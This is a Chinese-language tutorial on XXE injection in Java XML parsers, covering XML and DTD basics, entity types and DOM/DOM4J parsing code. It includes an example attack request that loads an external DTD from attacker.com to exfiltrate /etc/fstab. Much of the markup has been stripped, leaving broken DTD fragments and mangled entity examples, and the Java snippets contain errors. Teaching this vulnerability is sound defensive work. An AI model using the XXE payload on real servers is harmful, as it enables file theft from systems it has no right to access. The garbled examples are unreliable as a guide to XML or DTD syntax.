1. XXE简介
XXE(XML外部实体注入,XML External Entity) ,漏洞在对不安全的外部实体数据进行处理时,可能存在恶意行为导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等问题。简单来说,如果系统能够接收并解析用户的XML,但未禁用DTD和Entity时,可能出现XXE漏洞,常见场景如pdf在线解析、word在线解析、定制协议或者其他可以解析xml的API接口。
如果下表列出的JAVA API没有恰当配置,可能造成XXE漏洞。因为这些API可以对XML文件进行相应解析,后面会讲到。
javax.xml.parsers.DocumentBuilder
javax.xml.parsers.DocumentBuildFactory
org.xml.sax.EntityResolver
org.dom4j.*
javax.xml.parsers.SAXParser
javax.xml.parsers.SAXParserFactory
TransformerFactory
SAXReader
DocumentHelper
SAXBuilder
SAXParserFactory
XMLReaderFactory
XMLInputFactory
SchemaFactory
DocumentBuilderFactoryImpl
SAXTransformerFactory
DocumentBuilderFactoryImpl
XMLReader
Xerces: DOMParser, DOMParserImpl, SAXParser, XMLParser
2. XML与DTD
2.1 XML
XML(eXtensible Markup Language)叫做可扩展的标记语言,所有的标签都可以自定义。通常xml被用于信息的记录和传递,所以xml经常用于配置文件。
//XML声明,定义XML版本和编码信息
张三
java
90
李四
xml
99
2.2 DTD
DTD(Document Type Definition,文档类型定义),DTD用于约束xml的文档格式,保证xml是一个有效的xml。DTD可以分为内部DTD和外部DTD。
元素声明]> //(中间的空格不可省略)
(1)内部DTD
如果DTD被包含在XML源文件中,就直接声明。元素声明]>
]>
张三
java
90
李四
xml
99
如果XML中的格式没有参照DTD的定义,就会报错。
XML要按照DTD中的约束进行,所以我们可以对照上面demo的DTD与XML,根元素,那么DTD声明为]>,接着子元素为,标签出现了两次(分别为id=1,id=2),那么DTD中子元素标签声明应为,*号代表出现任意次的约束。标记标签出现次数,有如下选项
+:至少出现一次
?:出现0次或1次
*:出现任意次
接着如果标签包含子元素,要列在后面,如student(name,course,score)。如果标签中包含属性id,声明为 代表属性值,CDATA表示字符数据,如果是夹在标签中的文本应该用PCDATA。默认的参数值包含三种:#REQUIRED(属性值是必需的)、#IMPLIED(属性不是必需的)、#FIXED (属性值固定),或者直接赋值。
(2)外部DTD
如果DTD在外部文档中,如scores.dtd,就要在xml文件中引入外部dtd。
//XML声明,定义XML版本和编码信息
//中间部分省略
(3)实体
实体用于定义引用普通文本或特殊字符的变量,可在内部或外部进行声明。内部格式,外部格式,还有一种称为参数实体
a.内部实体
&writer;©right;
如果实体在根元素目录下:
]>
&writer;©right;
b.外部实体
&writer;©right;
c.参数实体
参照上面demo的实体声明如下
如果想替换为参数实体,上述语句等价如下:
根据这种参数写法,我们假设攻击者发送这样的XML语句:
POST http://example.com/xml HTTP/1.1
"http://attacker.com/evil.dtd">
%dtd;
%all;
]>
&fileContents;
evil.dtd中的内容如下:
">
">
最终请求响应的结果,即文件/etc/fstab的内容会包含在CDATA标签中。
有时我们需要将其中的内置实体转义
&符号:&
单引号:'
大于号:>
小于号:<
双引号:"
%符号:%
XSD(XML Schema)是DTD的替代者,不仅可以定义XML文档的结构还可以规范内容,其本身也是XML文档,比DTD复杂但功能更强大。
2.3 XML解析方式
XML的解析即对xml文件进行操作,包括创建xml,对xml文件进行增删改查的操作。XML解析技术包括DOM(官方提供的解析技术(SUN))、SAX(民间的解析技术)、JDOM(第三方提供的xml解析框架,开源)、DOM4J(JDOM升级版,开源)等技术。
(1)DOM解析XML
public class Demo {
public static void main(String[] args) throws Exception {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
File f = new File("books.xml");
Document doc = builder.parse(f);
Element root = doc.getDocumentElement();
NodeList list = root.getElementsByTagName("book");
}
}
}
(2)DOM4J解析XML
public class TestXml{
public static void main(String[] args){
//创建SAXReader对象,用于读取xml文件
SAXReader reader=new SAXReader();
//读取xml文件,得到Document对象
Document document=reader.read(new File("src/score.xml"));
//获取根元素
Element root=document.getRootElement();
//获取根元素下的所有子元素
Iterator it=root.elementIterator();
while (it.hasNext()){
//取出元素
Element e=(Element)t.next();
//获取每个id属性
Attribute id=e.attribute("id");
System.out.println(id.getName()+"="+id.getValue());
//获取student的子元素
Element name=e.element("name");
Element course=e.element("course");
Element score=e.element("score");
System.out.println(name.getName()+"="+name.getStringValue());
System.out.println(course.getName()+"="+course.getText());
}
//创建xml
//通过DocumentHelper生成一个Doctment对象
Document document1=DocumentHelper.createDocument();
//得到根元素
Element root=document1.addElement("books");